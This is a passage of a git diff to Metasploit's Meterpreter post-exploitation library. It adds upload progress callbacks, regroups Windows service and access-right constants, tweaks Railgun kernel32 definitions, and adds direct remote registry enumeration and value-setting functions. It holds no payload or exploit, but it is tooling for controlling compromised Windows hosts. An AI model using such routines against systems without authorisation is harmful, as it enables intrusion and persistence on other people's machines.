Packet.create_request('stdapi_fs_file_move') request.add_tlv(TLV_TYPE_FILE_NAME, client.unicode_filter_decode( oldname )) @@ -215,12 +215,12 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO response = client.send_request(request) return response - end + end - class << self - alias move mv - alias rename mv - end + class << self + alias move mv + alias rename mv + end # # Upload one or more files to the remote remote directory supplied in @@ -246,9 +246,10 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO # # Upload a single file. # - def File.upload_file(dest_file, src_file) + def File.upload_file(dest_file, src_file, &stat) # Open the file on the remote side for writing and read # all of the contents of the local file + stat.call('uploading', src_file, dest_file) if (stat) dest_fd = client.fs.file.new(dest_file, "wb") src_buf = '' @@ -261,6 +262,7 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO ensure dest_fd.close end + stat.call('uploaded', src_file, dest_file) if (stat) end # diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb index 5f8e237fdb..74395ec8b9 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb @@ -370,7 +370,6 @@ class ApiConstants win_const_mgr.add_const('SQL_CVT_LONGVARBINARY',0x00040000) win_const_mgr.add_const('WM_RESTORE_INDIVIDUALIZE',0x00000002) win_const_mgr.add_const('ARRAY_SEP_CHAR',0x00000009) - win_const_mgr.add_const('SC_MANAGER_CREATE_SERVICE',0x00000002) win_const_mgr.add_const('ERROR_NO_SAVEPOINT_WITH_OPEN_FILES',0x00001ABA) win_const_mgr.add_const('OID_FDDI_SMT_STATION_ACTION',0x03030277) win_const_mgr.add_const('OID_PNP_ADD_WAKE_UP_PATTERN',0xFD010103) @@ -2357,7 +2356,70 @@ class ApiConstants win_const_mgr.add_const('RTM_VIEW_MASK_UCAST',0x00000001) win_const_mgr.add_const('CERT_ALT_NAME_VALUE_ERR_INDEX_MASK',0x0000FFFF) win_const_mgr.add_const('ERROR_NO_SUCH_GROUP',0x00000527) + + # Generic Access Rights win_const_mgr.add_const('GENERIC_ALL',0x10000000) + win_const_mgr.add_const('GENERIC_EXECUTE',0x20000000) + win_const_mgr.add_const('GENERIC_WRITE',0x40000000) + win_const_mgr.add_const('GENERIC_READ',0x80000000) + + + # Standard Access Rights + win_const_mgr.add_const('DELETE',0x00010000) + win_const_mgr.add_const('READ_CONTROL',0x00020000) + win_const_mgr.add_const('WRITE_DAC',0x00040000) + win_const_mgr.add_const('WRITE_OWNER',0x00080000) + win_const_mgr.add_const('ACCESS_SYSTEM_SECURITY',0x01000000) + + # Services + win_const_mgr.add_const('SERVICE_NO_CHANGE',0xFFFFFFFF) + + # Service Start Types + win_const_mgr.add_const('START_TYPE_BOOT',0x00000000) + win_const_mgr.add_const('START_TYPE_SYSTEM',0x00000001) + win_const_mgr.add_const('START_TYPE_AUTO',0x00000002) + win_const_mgr.add_const('START_TYPE_MANUAL',0x00000003) + win_const_mgr.add_const('START_TYPE_DISABLED',0x00000004) + + # Service States + win_const_mgr.add_const('SERVICE_STOPPED',0x00000001) + win_const_mgr.add_const('SERVICE_START_PENDING',0x00000002) + win_const_mgr.add_const('SERVICE_STOP_PENDING',0x00000003) + win_const_mgr.add_const('SERVICE_RUNNING',0x00000004) + win_const_mgr.add_const('SERVICE_CONTINUE_PENDING',0x00000005) + win_const_mgr.add_const('SERVICE_PAUSE_PENDING',0x00000006) + win_const_mgr.add_const('SERVICE_PAUSED',0x00000007) + + # Service Types + win_const_mgr.add_const('SERVICE_KERNEL_DRIVER',0x00000001) + win_const_mgr.add_const('SERVICE_FILE_SYSTEM_DRIVER',0x00000002) + win_const_mgr.add_const('SERVICE_ADAPTER',0x00000004) + win_const_mgr.add_const('SERVICE_RECOGNIZER_DRIVER',0x00000008) + win_const_mgr.add_const('SERVICE_WIN32_OWN_PROCESS',0x00000010) + win_const_mgr.add_const('SERVICE_WIN32_SHARE_PROCESS',0x00000020) + + # Service Manager Permissions + win_const_mgr.add_const('SC_MANAGER_CONNECT',0x00000001) + win_const_mgr.add_const('SC_MANAGER_CREATE_SERVICE',0x00000002) + win_const_mgr.add_const('SC_MANAGER_ENUMERATE_SERVICE',0x00000004) + win_const_mgr.add_const('SC_MANAGER_LOCK',0x00000008) + win_const_mgr.add_const('SC_MANAGER_QUERY_LOCK_STATUS',0x00000010) + win_const_mgr.add_const('SC_MANAGER_MODIFY_BOOT_CONFIG',0x00000020) + win_const_mgr.add_const('SC_MANAGER_USER_DEFINED_CONTROL',0x00000100) + win_const_mgr.add_const('SC_MANAGER_ALL_ACCESS',0x000F003F) + + # Service Permissions + win_const_mgr.add_const('SERVICE_QUERY_CONFIG',0x00000001) + win_const_mgr.add_const('SERVICE_CHANGE_CONFIG',0x00000002) + win_const_mgr.add_const('SERVICE_QUERY_STATUS',0x00000004) + win_const_mgr.add_const('SERVICE_ENUMERATE_DEPENDENTS',0x00000008) + win_const_mgr.add_const('SERVICE_START',0x00000010) + win_const_mgr.add_const('SERVICE_STOP',0x00000020) + win_const_mgr.add_const('SERVICE_PAUSE_CONTINUE',0x00000040) + win_const_mgr.add_const('SERVICE_INTERROGATE',0x00000080) + win_const_mgr.add_const('SERVICE_USER_DEFINED_CONTROL',0x00000100) + win_const_mgr.add_const('SERVICE_ALL_ACCESS',0x000F01FF) + win_const_mgr.add_const('LINEINITIALIZEEXOPTION_USECOMPLETIONPORT',0x00000003) win_const_mgr.add_const('AVIIF_TWOCC',0x00000002) win_const_mgr.add_const('TBTS_LEFT',0x00000001) @@ -3408,7 +3470,6 @@ class ApiConstants win_const_mgr.add_const('SQL_DS_RESTRICT',0x00000002) win_const_mgr.add_const('SQL_FD_FETCH_NEXT',0x00000001) win_const_mgr.add_const('HTTP_QUERY_ACCEPT_LANGUAGE',0x0000001B) - win_const_mgr.add_const('SC_MANAGER_LOCK',0x00000008) win_const_mgr.add_const('CM_CDMASK_VALID',0x0000000F) win_const_mgr.add_const('DI_NEEDRESTART',0x00000080) win_const_mgr.add_const('DSOP_DOWNLEVEL_FILTER_NETWORK',0x80001000) @@ -4450,7 +4511,6 @@ class ApiConstants win_const_mgr.add_const('WGL_SWAP_UNDERLAY1',0x00010000) win_const_mgr.add_const('CRYPTDLG_ACTION_MASK',0xFFFF0000) win_const_mgr.add_const('MCI_ANIM_WINDOW_HWND',0x00010000) - win_const_mgr.add_const('SERVICE_QUERY_CONFIG',0x00000001) win_const_mgr.add_const('MF_MEDIATYPE_EQUAL_FORMAT_DATA',0x00000004) win_const_mgr.add_const('USE_REMOTE_PARMNUM',0x00000002) win_const_mgr.add_const('CF_PALETTE',0x00000009) @@ -5623,7 +5683,6 @@ class ApiConstants win_const_mgr.add_const('SQL_DROP_VIEW',0x0000008F) win_const_mgr.add_const('FEI_MODEM_POWERED_ON',0x00000011) win_const_mgr.add_const('WNODE_FLAG_INTERNAL',0x00000100) - win_const_mgr.add_const('SERVICE_START_PENDING',0x00000002) win_const_mgr.add_const('ERROR_SXS_INVALID_ACTCTXDATA_FORMAT',0x000036B2) win_const_mgr.add_const('ACMFILTERTAGDETAILS_FILTERTAG_CHARS',0x00000030) win_const_mgr.add_const('MAPI_E_ATTACHMENT_WRITE_FAILURE',0x0000000D) @@ -9255,7 +9314,6 @@ class ApiConstants win_const_mgr.add_const('TAPE_SPACE_RELATIVE_BLOCKS',0x00000005) win_const_mgr.add_const('DBT_DEVICEARRIVAL',0x00008000) win_const_mgr.add_const('IMAGE_REL_ALPHA_REFHI',0x0000000A) - win_const_mgr.add_const('SERVICE_WIN32_SHARE_PROCESS',0x00000020) win_const_mgr.add_const('R2_NOTCOPYPEN',0x00000004) win_const_mgr.add_const('POLICY_ERRV_GLOBAL_GRP_PEAK_RATE',0x0000001A) win_const_mgr.add_const('VTBIT_CY',0x00000001) @@ -9859,7 +9917,6 @@ class ApiConstants win_const_mgr.add_const('DISPID_FILELISTENUMDONE',0x000000C9) win_const_mgr.add_const('DBPROPVAL_IN_DISALLOWNULL',0x00000001) win_const_mgr.add_const('PP_PROVTYPE',0x00000010) - win_const_mgr.add_const('SERVICE_PAUSE_PENDING',0x00000006) win_const_mgr.add_const('MWMO_WAITALL',0x00000001) win_const_mgr.add_const('PIR_STATUS_ERROR',0x00000000) win_const_mgr.add_const('ERROR_DS_NO_DELETED_NAME',0x000020A3) @@ -10819,7 +10876,6 @@ class ApiConstants win_const_mgr.add_const('LINEADDRCAPFLAGS_QUEUE',0x01000000) win_const_mgr.add_const('PRINTER_ACCESS_ADMINISTER',0x00000004) win_const_mgr.add_const('SECPKG_CALL_THREAD_TERM',0x00000080) - win_const_mgr.add_const('SERVICE_RECOGNIZER_DRIVER',0x00000008) win_const_mgr.add_const('MD_DIRBROW_SHOW_EXTENSION',0x00000010) win_const_mgr.add_const('HHWIN_BUTTON_BROWSE_BCK',0x00000001) win_const_mgr.add_const('COLOR_WINDOWFRAME',0x00000006) @@ -11675,7 +11731,6 @@ class ApiConstants win_const_mgr.add_const('PORT_UAAC',0x00000091) win_const_mgr.add_const('D3DPBLENDCAPS_SRCALPHA',0x00000010) win_const_mgr.add_const('CALLBACK_STREAM_SWITCH',0x00000001) - win_const_mgr.add_const('GENERIC_EXECUTE',0x20000000) win_const_mgr.add_const('NUMPRS_PARENS',0x00000080) win_const_mgr.add_const('SHI1005_FLAGS_FORCE_SHARED_DELETE',0x00000200) win_const_mgr.add_const('SQL_HC_OFF',0x00000000) @@ -11965,7 +12020,6 @@ class ApiConstants win_const_mgr.add_const('MCI_WAIT',0x00000002) win_const_mgr.add_const('SPI_SETDROPSHADOW',0x00001025) win_const_mgr.add_const('VK_OEM_PERIOD',0x000000BE) - win_const_mgr.add_const('SERVICE_CHANGE_CONFIG',0x00000002) win_const_mgr.add_const('CERT_STORE_PROV_WRITE_CTL_FUNC',0x0000000A) win_const_mgr.add_const('SUBLANG_TAMAZIGHT_ALGERIA_LATIN',0x00000002) win_const_mgr.add_const('XECR_PKCS7',0x00000002) @@ -12173,7 +12227,6 @@ class ApiConstants win_const_mgr.add_const('MCI_VCR_FREEZE_OUTPUT',0x00020000) win_const_mgr.add_const('DEX_IDS_NO_SOURCE_NAMES',0x0000057D) win_const_mgr.add_const('SQL_OUTER_JOINS',0x00000026) - win_const_mgr.add_const('SERVICE_ENUMERATE_DEPENDENTS',0x00000008) win_const_mgr.add_const('CR_NO_SUCH_LOGICAL_DEV',0x00000014) win_const_mgr.add_const('IDC_PS_DISPLAYASICON',0x000001FA) win_const_mgr.add_const('GESTURE_UP_LEFT_LONG',0x00000000) @@ -12243,7 +12296,6 @@ class ApiConstants win_const_mgr.add_const('ERROR_VOLSNAP_PREPARE_HIBERNATE',0x0000028F) win_const_mgr.add_const('TMT_CAPTIONBARHEIGHT',0x000004B5) win_const_mgr.add_const('IDM_ENABLE_INTERACTION',0x000008FE) - win_const_mgr.add_const('DELETE',0x00010000) win_const_mgr.add_const('CRYPTUI_WIZ_DIGITAL_SIGN_PVK',0x00000003) win_const_mgr.add_const('ERROR_CTX_MODEM_RESPONSE_NO_CARRIER',0x00001B65) win_const_mgr.add_const('OE_SETTING',0x00000004) @@ -12431,7 +12483,7 @@ class ApiConstants win_const_mgr.add_const('ET_DITHERMODE',0x00000004) win_const_mgr.add_const('AA_A_ACL',0x00008000) win_const_mgr.add_const('MCI_UPDATE',0x00000854) - win_const_mgr.add_const('READ_CONTROL',0x00020000) + win_const_mgr.add_const('ERROR_DS_DESTINATION_DOMAIN_NOT_IN_FOREST',0x00002157) win_const_mgr.add_const('IDM_IE50_PASTE',0x00000961) win_const_mgr.add_const('DB_NULL_HCHAPTER',0x00000000) @@ -12739,7 +12791,6 @@ class ApiConstants win_const_mgr.add_const('OPF_DISABLECONVERT',0x00000008) win_const_mgr.add_const('D3DPCMPCAPS_LESS',0x00000002) win_const_mgr.add_const('D3DPRESENT_INTERVAL_TWO',0x00000002) - win_const_mgr.add_const('SERVICE_STOP',0x00000020) win_const_mgr.add_const('WLX_OPTION_SMART_CARD_INFO',0x00010002) win_const_mgr.add_const('MAX_LANA',0x000000FE) win_const_mgr.add_const('PLATFORM_ID_VMS',0x000002BC) @@ -14732,7 +14783,6 @@ class ApiConstants win_const_mgr.add_const('CDIS_GRAYED',0x00000002) win_const_mgr.add_const('DISPID_QUIT',0x00000067) win_const_mgr.add_const('LINETOLLLISTOPTION_REMOVE',0x00000002) - win_const_mgr.add_const('SERVICE_WIN32_OWN_PROCESS',0x00000010) win_const_mgr.add_const('SM_FOCUS_TYPE_NT_DOMAIN',0x00000001) win_const_mgr.add_const('WINHTTP_CALLBACK_STATUS_REQUEST_ERROR',0x00200000) win_const_mgr.add_const('PORT_WPGS',0x0000030C) @@ -15353,7 +15403,6 @@ class ApiConstants win_const_mgr.add_const('DEBUG_VSOURCE_MAPPED_IMAGE',0x00000002) win_const_mgr.add_const('ERROR_DS_OBJ_STRING_NAME_EXISTS',0x00002071) win_const_mgr.add_const('DPD_DELETE_ALL_FILES',0x00000004) - win_const_mgr.add_const('SERVICE_STOPPED',0x00000001) win_const_mgr.add_const('DMPAPER_ENV_PERSONAL',0x00000026) win_const_mgr.add_const('WM_RBUTTONDBLCLK',0x00000206) win_const_mgr.add_const('SQL_CURRENT_QUALIFIER',0x0000006D) @@ -15754,7 +15803,6 @@ class ApiConstants win_const_mgr.add_const('ERROR_ABANDONED_WAIT_0',0x000002DF) win_const_mgr.add_const('SQL_API_SQLGETCURSORNAME',0x00000011) win_const_mgr.add_const('UINT8_MAX',0x00000000) - win_const_mgr.add_const('SERVICE_NO_CHANGE',0x00000000) win_const_mgr.add_const('AE_SRVCONT',0x00000002) win_const_mgr.add_const('RPC_S_GRP_ELT_NOT_REMOVED',0x00000789) win_const_mgr.add_const('ERROR_CONNECTED_OTHER_PASSWORD_DEFAULT',0x0000083D) @@ -16075,7 +16123,6 @@ class ApiConstants win_const_mgr.add_const('ERRCLASS_UNK',0x0000000D) win_const_mgr.add_const('STREAM_MODIFIED_WHEN_READ',0x00000001) win_const_mgr.add_const('SENSITIVITY_PROP_NORMAL',0x00000000) - win_const_mgr.add_const('SERVICE_INTERROGATE',0x00000080) win_const_mgr.add_const('VK_BROWSER_FORWARD',0x000000A7) win_const_mgr.add_const('IDM_BLOCKDIRLTR',0x00000930) win_const_mgr.add_const('RF_LATTICE',0x00000800) @@ -17110,7 +17157,6 @@ class ApiConstants win_const_mgr.add_const('TRUSTERROR_STEP_MESSAGE',0x00000008) win_const_mgr.add_const('LB_SETTABSTOPS',0x00000192) win_const_mgr.add_const('SQL_TL_ON',0x00000001) - win_const_mgr.add_const('SERVICE_FILE_SYSTEM_DRIVER',0x00000002) win_const_mgr.add_const('SCRIPTPROP_GCCONTROLSOFTCLOSE',0x00002000) win_const_mgr.add_const('OPATH_TOK_OPEN_PAREN',0x0000006A) win_const_mgr.add_const('IMAGE_SYM_CLASS_REGISTER_PARAM',0x00000011) @@ -18538,7 +18584,6 @@ class ApiConstants win_const_mgr.add_const('DEBUG_OUTCTL_ALL_OTHER_CLIENTS',0x00000002) win_const_mgr.add_const('MAX_DDDEVICEID_STRING',0x00000200) win_const_mgr.add_const('USN_REASON_RENAME_NEW_NAME',0x00002000) - win_const_mgr.add_const('WRITE_DAC',0x00040000) win_const_mgr.add_const('BTH_ERROR_SUCCESS',0x00000000) win_const_mgr.add_const('SERVER_SEARCH_FLAG_PHANTOM_ROOT',0x00000002) win_const_mgr.add_const('SUBLANG_SINDHI_INDIA',0x00000001) @@ -20372,7 +20417,6 @@ class ApiConstants win_const_mgr.add_const('KERB_CHECKSUM_CRC32',0x00000001) win_const_mgr.add_const('IMC_SETCOMPOSITIONFONT',0x0000000A) win_const_mgr.add_const('TVC_UNKNOWN',0x00000000) - win_const_mgr.add_const('SERVICE_RUNNING',0x00000004) win_const_mgr.add_const('PORT_HMMP_INDICATION',0x00000264) win_const_mgr.add_const('PARTID_MASK',0x00000000) win_const_mgr.add_const('SSRVOPT_PARAMTYPE',0x00000100) @@ -20721,7 +20765,6 @@ class ApiConstants win_const_mgr.add_const('CB_MAX_FILENAME',0x00000100) win_const_mgr.add_const('MCI_VCR_SET_TRACKING',0x00400000) win_const_mgr.add_const('LANG_SINDHI',0x00000059) - win_const_mgr.add_const('SERVICE_ADAPTER',0x00000004) win_const_mgr.add_const('PCMCIA_DEF_MEMEND',0x00FFFFFF) win_const_mgr.add_const('D3DPTEXTURECAPS_MIPCUBEMAP',0x00010000) win_const_mgr.add_const('C2_NOTAPPLICABLE',0x00000000) @@ -20938,7 +20981,6 @@ class ApiConstants win_const_mgr.add_const('CTF_REF_COUNTED',0x00000020) win_const_mgr.add_const('MCI_DEVTYPE_CD_AUDIO',0x00000204) win_const_mgr.add_const('D3DDEVCAPS_TLVERTEXSYSTEMMEMORY',0x00000040) - win_const_mgr.add_const('GENERIC_WRITE',0x40000000) win_const_mgr.add_const('SE_GROUP_ENABLED',0x00000004) win_const_mgr.add_const('PDH_REFRESHCOUNTERS',0x00000004) win_const_mgr.add_const('ERROR_CLUSTER_MAXNUM_OF_RESOURCES_EXCEEDED',0x000013D4) @@ -21904,7 +21946,6 @@ class ApiConstants win_const_mgr.add_const('SHERB_NOCONFIRMATION',0x00000001) win_const_mgr.add_const('DEBUG_REQUEST_TARGET_EXCEPTION_RECORD',0x00000003) win_const_mgr.add_const('CERT_TRUST_INVALID_BASIC_CONSTRAINTS',0x00000400) - win_const_mgr.add_const('SERVICE_CONTINUE_PENDING',0x00000005) win_const_mgr.add_const('URLACTION_ACTIVEX_RUN',0x00001200) win_const_mgr.add_const('EMR_BITBLT',0x0000004C) win_const_mgr.add_const('DEBUG_ASMOPT_DEFAULT',0x00000000) @@ -23291,7 +23332,6 @@ class ApiConstants win_const_mgr.add_const('HLNF_DISABLEWINDOWRESTRICTIONS',0x00800000) win_const_mgr.add_const('WINHTTP_OPTION_CONNECT_TIMEOUT',0x00000003) win_const_mgr.add_const('DS_NOIDLEMSG',0x00000100) - win_const_mgr.add_const('SC_MANAGER_CONNECT',0x00000001) win_const_mgr.add_const('CRYPT_ACQUIRE_PREFER_NCRYPT_KEY_FLAG',0x00020000) win_const_mgr.add_const('ERROR_LOG_CLIENT_NOT_REGISTERED',0x000019ED) win_const_mgr.add_const('CERT_NAME_STR_REVERSE_FLAG',0x02000000) @@ -23830,7 +23870,6 @@ class ApiConstants win_const_mgr.add_const('DISPID_IHTMLPLUGINSCOLLECTION_REFRESH',0x00000002) win_const_mgr.add_const('CM_OPEN_CLASS_KEY_BITS',0x00000001) win_const_mgr.add_const('HH_SAFE_DISPLAY_TOPIC',0x00000020) - win_const_mgr.add_const('SC_MANAGER_ENUMERATE_SERVICE',0x00000004) win_const_mgr.add_const('FPSR_MBZ0_V',0x00000003) win_const_mgr.add_const('ERROR_CLUSTER_NODE_ALREADY_HAS_DFS_ROOT',0x000013E0) win_const_mgr.add_const('WIA_DPF_FIRST',0x00000D02) @@ -24022,7 +24061,6 @@ class ApiConstants win_const_mgr.add_const('DNS_RTYPE_HINFO',0x00000000) win_const_mgr.add_const('WM_COMPACTING',0x00000041) win_const_mgr.add_const('EXITPUB_FILE',0x00000001) - win_const_mgr.add_const('ACCESS_SYSTEM_SECURITY',0x01000000) win_const_mgr.add_const('IP_ADAPTER_IPV4_ENABLED',0x00000080) win_const_mgr.add_const('DXGI_USAGE_BACK_BUFFER',0x00000001) win_const_mgr.add_const('DVD_AUDIO_CAPS_MPEG2',0x00000002) @@ -24229,7 +24267,6 @@ class ApiConstants win_const_mgr.add_const('PSH_USEHBMWATERMARK',0x00010000) win_const_mgr.add_const('APPCTR_MD_ID_BEGIN_RESERVED',0x00000000) win_const_mgr.add_const('ADMIN_STATE_ENABLED',0x00000002) - win_const_mgr.add_const('SERVICE_START',0x00000010) win_const_mgr.add_const('SQL_CONVERT_WVARCHAR',0x0000007E) win_const_mgr.add_const('SECPKG_CONTEXT_EXPORT_RESET_NEW',0x00000001) win_const_mgr.add_const('GESTURE_INFINITY',0x00000000) @@ -24327,7 +24364,6 @@ class ApiConstants win_const_mgr.add_const('ICDRAW_NULLFRAME',0x10000000) win_const_mgr.add_const('JET_BASE_NAME_LENGTH',0x00000003) win_const_mgr.add_const('HHWIN_PROP_ONTOP',0x00000001) - win_const_mgr.add_const('SERVICE_PAUSED',0x00000007) win_const_mgr.add_const('ICEE_CREATE_FILE_PE32',0x00000001) win_const_mgr.add_const('CSIDL_PRINTERS',0x00000004) win_const_mgr.add_const('LINEBEARERMODE_MULTIUSE',0x00000004) @@ -24628,7 +24664,6 @@ class ApiConstants win_const_mgr.add_const('POSTSCRIPT_DATA',0x00000025) win_const_mgr.add_const('MCIWNDF_NOMENU',0x00000008) win_const_mgr.add_const('OID_CO_TAPI_TRANSLATE_NDIS_CALLPARAMS',0xFE001005) - win_const_mgr.add_const('SERVICE_USER_DEFINED_CONTROL',0x00000100) win_const_mgr.add_const('JIFMK_FF',0x0000FFFF) win_const_mgr.add_const('DFCS_HOT',0x00001000) win_const_mgr.add_const('SI_CONTAINER',0x00000004) @@ -25917,7 +25952,6 @@ class ApiConstants win_const_mgr.add_const('TOKEN_ADJUST_PRIVILEGES',0x00000020) win_const_mgr.add_const('CRL_REASON_UNSPECIFIED',0x00000000) win_const_mgr.add_const('SERVICE_STOP_REASON_MINOR_MIN',0x00000000) - win_const_mgr.add_const('SERVICE_PAUSE_CONTINUE',0x00000040) win_const_mgr.add_const('RPC_C_QOS_CAPABILITIES_SCHANNEL_FULL_AUTH_IDENTITY',0x00000020) win_const_mgr.add_const('FEI_SENDING',0x00000002) win_const_mgr.add_const('DOF_PROGMAN',0x00000001) @@ -29144,7 +29178,6 @@ class ApiConstants win_const_mgr.add_const('DS_FORCE_REDISCOVERY',0x00000001) win_const_mgr.add_const('PDH_INVALID_INSTANCE',0xC0000BC5) win_const_mgr.add_const('LOCALSTATE_POLICYREMOVE_UNINSTALL',0x00000010) - win_const_mgr.add_const('SERVICE_STOP_PENDING',0x00000003) win_const_mgr.add_const('PS_JOIN_BEVEL',0x00001000) win_const_mgr.add_const('MFE_PRUNED_UPSTREAM',0x00000004) win_const_mgr.add_const('TMT_BTNTEXT',0x00000653) @@ -30370,7 +30403,6 @@ class ApiConstants win_const_mgr.add_const('VK_DBE_NOROMAN',0x00000000) win_const_mgr.add_const('DNS_TYPE_CNAME',0x00000005) win_const_mgr.add_const('PID_IS_WORKINGDIR',0x00000005) - win_const_mgr.add_const('SC_MANAGER_QUERY_LOCK_STATUS',0x00000010) win_const_mgr.add_const('APPCOMMAND_MEDIA_PLAY_PAUSE',0x0000000E) win_const_mgr.add_const('MCI_ANIM_PLAY_SCAN',0x00100000) win_const_mgr.add_const('NOTIFY_CLASS_REGISTRY_CHANGE',0x00000004) @@ -32077,7 +32109,6 @@ class ApiConstants win_const_mgr.add_const('RPC_S_SEC_PKG_ERROR',0x00000721) win_const_mgr.add_const('IPPORT_ECHO',0x00000007) win_const_mgr.add_const('APPSTATUS_STOPPED',0x00000000) - win_const_mgr.add_const('SERVICE_QUERY_STATUS',0x00000004) win_const_mgr.add_const('WMDM_DEVICECAP_CANPAUSE',0x00000010) win_const_mgr.add_const('PSP_USEFUSIONCONTEXT',0x00004000) win_const_mgr.add_const('SUBSCRIPTION_CAP_IS_CONTENTPARTNER',0x00000040) @@ -33167,7 +33198,6 @@ class ApiConstants win_const_mgr.add_const('DISPID_CUSTOMIZESETTINGS',0x00000011) win_const_mgr.add_const('IMAGE_REL_I386_SECREL',0x0000000B) win_const_mgr.add_const('IF_TYPE_VOICE_FXS',0x00000066) - win_const_mgr.add_const('WRITE_OWNER',0x00080000) win_const_mgr.add_const('CALLBACK_FUNCTION',0x00030000) win_const_mgr.add_const('CRYPT_MODE_CTS',0x00000005) win_const_mgr.add_const('PAN_STROKEVARIATION_INDEX',0x00000005) @@ -34303,7 +34333,6 @@ class ApiConstants win_const_mgr.add_const('DDPCAPS_1BIT',0x00000100) win_const_mgr.add_const('INADDR_LOOPBACK',0x00000007) win_const_mgr.add_const('HTTP_QUERY_SERVER',0x00000025) - win_const_mgr.add_const('GENERIC_READ',0x80000000) win_const_mgr.add_const('DSBI_EXPANDONOPEN',0x00040000) win_const_mgr.add_const('D3DUSAGE_DYNAMIC',0x00000200) win_const_mgr.add_const('MIN_PST_ERROR',0x800C0001) @@ -36254,7 +36283,6 @@ class ApiConstants win_const_mgr.add_const('DBFLAGS_MULTITHREADTRANSACTIONS',0x00000200) win_const_mgr.add_const('ERROR_DBG_RIPEXCEPTION',0x000002B7) win_const_mgr.add_const('KSALLOCATOR_FLAG_NO_FRAME_INTEGRITY',0x00000100) - win_const_mgr.add_const('SC_MANAGER_MODIFY_BOOT_CONFIG',0x00000020) win_const_mgr.add_const('PBT_APMPOWERSTATUSCHANGE',0x0000000A) win_const_mgr.add_const('IDM_TRIED_INSERTTABLE',0x00000016) win_const_mgr.add_const('IMC_OPENSTATUSWINDOW',0x00000022) @@ -38107,7 +38135,6 @@ class ApiConstants win_const_mgr.add_const('TIME_STAMP_CAPABLE',0x00000020) win_const_mgr.add_const('WIA_IPA_ITEM_CATEGORY',0x0000101D) win_const_mgr.add_const('DNS_UPDATE_SECURITY_OFF',0x00000010) - win_const_mgr.add_const('SERVICE_KERNEL_DRIVER',0x00000001) win_const_mgr.add_const('HANDLE_PARAM_IS_IN',0x00000040) win_const_mgr.add_const('IF_CHECK_SEND',0x00000002) win_const_mgr.add_const('MSV1_0_ALLOW_WORKSTATION_TRUST_ACCOUNT',0x00000800) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb index dc653cac1b..d7f487b5ea 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb @@ -2159,13 +2159,13 @@ class Def_kernel32 ]) dll.add_function( 'InterlockedCompareExchange', 'DWORD',[ - ["PDWORD","Destination","inout"], + ["PDWORD","Destination","in"], ["DWORD","ExChange","in"], ["DWORD","Comperand","in"], ]) dll.add_function( 'InterlockedCompareExchange64', 'LPVOID',[ - ["PBLOB","Destination","inout"], + ["PBLOB","Destination","in"], ["PBLOB","ExChange","in"], ["PBLOB","Comperand","in"], ]) @@ -2175,7 +2175,7 @@ class Def_kernel32 ]) dll.add_function( 'InterlockedExchange', 'DWORD',[ - ["PDWORD","Target","inout"], + ["PDWORD","Target","in"], ["DWORD","Value","in"], ]) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb index 842cc972f6..b487d3641c 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb @@ -318,7 +318,10 @@ class DLL buffer = rec_out_only_buffers[buffer_item.addr, buffer_item.length_in_bytes] case buffer_item.datatype when "PDWORD" - return_hash[param_name] = buffer.unpack(native)[0] + # PDWORD is treated as a POINTER + return_hash[param_name] = buffer.unpack(native).first + # If PDWORD is treated correctly as a DWORD + return_hash[param_name] = buffer.unpack('V').first if return_hash[param_name].nil? when "PCHAR" return_hash[param_name] = asciiz_to_str(buffer) when "PWCHAR" @@ -338,7 +341,10 @@ class DLL buffer = rec_inout_buffers[buffer_item.addr, buffer_item.length_in_bytes] case buffer_item.datatype when "PDWORD" - return_hash[param_name] = buffer.unpack(native)[0] + # PDWORD is treated as a POINTER + return_hash[param_name] = buffer.unpack(native).first + # If PDWORD is treated correctly as a DWORD + return_hash[param_name] = buffer.unpack('V').first if return_hash[param_name].nil? when "PCHAR" return_hash[param_name] = asciiz_to_str(buffer) when "PWCHAR" diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb index 2a9583ee55..269512cd10 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb @@ -89,7 +89,6 @@ class Registry request.add_tlv(TLV_TYPE_TARGET_HOST, target_host) request.add_tlv(TLV_TYPE_ROOT_KEY, root_key) - response = client.send_request(request) return Rex::Post::Meterpreter::Extensions::Stdapi::Sys::RegistrySubsystem::RemoteRegistryKey.new( @@ -166,6 +165,24 @@ class Registry return keys end + def Registry.enum_key_direct(root_key, base_key, perm = KEY_READ) + request = Packet.create_request('stdapi_registry_enum_key_direct') + keys = [] + + request.add_tlv(TLV_TYPE_ROOT_KEY, root_key) + request.add_tlv(TLV_TYPE_BASE_KEY, base_key) + request.add_tlv(TLV_TYPE_PERMISSION, perm) + + response = client.send_request(request) + + # Enumerate through all of the registry keys + response.each(TLV_TYPE_KEY_NAME) do |key_name| + keys << key_name.value + end + + keys + end + ## # # Registry value interaction @@ -195,10 +212,55 @@ class Registry return true end + def Registry.set_value_direct(root_key, base_key, name, type, data, perm = KEY_WRITE) + request = Packet.create_request('stdapi_registry_set_value_direct') + + request.add_tlv(TLV_TYPE_ROOT_KEY, root_key) + request.add_tlv(TLV_TYPE_BASE_KEY, base_key) + request.add_tlv(TLV_TYPE_PERMISSION, perm) + request.add_tlv(TLV_TYPE_VALUE_NAME, name) + request.add_tlv(TLV_TYPE_VALUE_TYPE, type) + + if type == REG_SZ + data += "\x00" + elsif type == REG_DWORD + data = [data.to_i].pack('V') + end + + request.add_tlv(TLV_TYPE_VALUE_DATA, data) + + response = client.send_request(request) + + true + end + # # Queries the registry value supplied 